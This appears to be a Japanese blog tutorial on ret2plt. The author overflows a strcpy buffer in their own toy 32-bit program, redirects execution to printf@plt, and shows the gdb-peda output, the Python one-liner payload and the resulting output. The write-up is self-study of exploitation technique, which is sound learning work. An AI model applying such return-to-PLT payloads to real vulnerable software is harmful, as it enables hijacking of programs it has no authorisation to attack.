ret2pltで関数を実行してみる
簡単なバッファオーバーフローでEIPを奪う - メモ代わりのプログラムでret2pltをしてみる。
環境は前回と同じ。
ret2pltとは
ret2pltの前にそもそもpltとは何かというと共有ライブラリのアドレスを書くところだ。
詳しくは下記リンクを参照。
ELFの動的リンク(1) - 七誌の開発日記
ret2pltとはEIPに任意のアドレスを書き込めるようになった時、pltにある関数のアドレスを書いたら関数を実行できることを活かしたテクニックのことだ。
実際にやってみよう。
どうすればうまくいくか調べてみる
とりあえずpltに何のアドレスがあるかgdb-pedaで見てみよう。
gdb-peda$ plt Breakpoint 1 at 0x8048380 (__gmon_start__@plt) Breakpoint 2 at 0x80483a0 (__libc_start_main@plt) Breakpoint 3 at 0x8048390 (exit@plt) Breakpoint 4 at 0x8048350 (printf@plt) Breakpoint 5 at 0x8048370 (puts@plt) Breakpoint 6 at 0x8048360 (strcpy@plt)
printfのアドレスがある。
攻撃した時に目で見てわかりやすいのでprintfを使おう。
次にprintfで使う引数に適切なものはどこにあるか見てみよう。
gdb-peda$ pdisas main Dump of assembler code for function main: 0x080484ad <+0>: push ebp 0x080484ae <+1>: mov ebp,esp 0x080484b0 <+3>: and esp,0xfffffff0 0x080484b3 <+6>: sub esp,0x20 0x080484b6 <+9>: cmp DWORD PTR [ebp+0x8],0x2 0x080484ba <+13>: je 0x80484dd <main+48> 0x080484bc <+15>: mov eax,DWORD PTR [ebp+0xc] 0x080484bf <+18>: mov eax,DWORD PTR [eax] 0x080484c1 <+20>: mov DWORD PTR [esp+0x4],eax 0x080484c5 <+24>: mov DWORD PTR [esp],0x80485a0 0x080484cc <+31>: call 0x8048350 <printf@plt> 0x080484d1 <+36>: mov DWORD PTR [esp],0x1 0x080484d8 <+43>: call 0x8048390 <exit@plt> 0x080484dd <+48>: mov eax,DWORD PTR [ebp+0xc] 0x080484e0 <+51>: add eax,0x4 0x080484e3 <+54>: mov eax,DWORD PTR [eax] 0x080484e5 <+56>: mov DWORD PTR [esp+0x4],eax 0x080484e9 <+60>: lea eax,[esp+0x16] 0x080484ed <+64>: mov DWORD PTR [esp],eax 0x080484f0 <+67>: call 0x8048360 <strcpy@plt> 0x080484f5 <+72>: lea eax,[esp+0x16] 0x080484f9 <+76>: mov DWORD PTR [esp],eax 0x080484fc <+79>: call 0x8048370 <puts@plt> 0x08048501 <+84>: mov eax,0x0 0x08048506 <+89>: leave 0x08048507 <+90>: ret End of assembler dump.
printfが呼ばれているところに注目すると文字列の引数っぽいものがある。
0x080484c5 <+24>: mov DWORD PTR [esp],0x80485a0 0x080484cc <+31>: call 0x8048350 <printf@plt>
中身を確認してみよう。
gdb-peda$ x/s 0x80485a0 0x80485a0: "Usage: %s name\n"
うわあ・・・、これは文字列ですね。
しかもコレは引数なしで実行した時しか出てこない文字列なのでテストにぴったり、使ってみよう。
前回も含めてここまでのおさらいをすると
- 22文字以降の文字列がEIPにセットされる
- printf@pltのアドレスは0x8048350
- printfの引数として渡したいアドレスは0x80485a0
では実際に攻撃してみよう。
実行してみる
実際のコードはこちら。
print "A"*22 + "\x50\x83\x04\x08" + "BBBB" + "\xa0\x85\x04\x08"
まず最初に22回"A"を出力する。
次にprintf@pltのアドレスをEIPに入れるために出力する(リトルエンディアンなので逆順で書いた)
次の"BBBB"だがコレには訳がある。
関数を呼び出すときはその関数終了後のリターンアドレスをスタックに積んで置かなければならない。
関数実行時はそれを想定して処理をするので仮のリターンアドレスとして"BBBB"を積み実行時に計算が狂うことがないようにしているのだ。
そして最後に引数として文字列のアドレスを出力している。
実行してみよう。
$ ./a.out $(python -c 'print "A"*22 + "\x50\x83\x04\x08" + "BBBB" + "\xa0\x85\x04\x08"') AAAAAAAAAAAAAAAAAAAAAAP�BBBB�� Usage: �������������������L���`���p��������������������������� ���Z���n�����������&���Z�����������������=���R���i���z��������������������������� ������w��������������%���:���S���g������������������� name Segmentation fault
みたいになったと思う。
nameをprintfで出力したあと"Usage: ~~~~~"が出力されている、うまくいった。
"Usage: "以降に出力されているのは
gdb-peda$ x/s 0x80485a0 0x80485a0: "Usage: %s name\n"
の"%s"で引数を置いてなかったためnameにあたるまで出力したからだと思う。
というわけでret2plt終わり!閉廷!
おわりに
今回はret2pltをやってみた。
今度はもっと高度なことをやってみようと思う。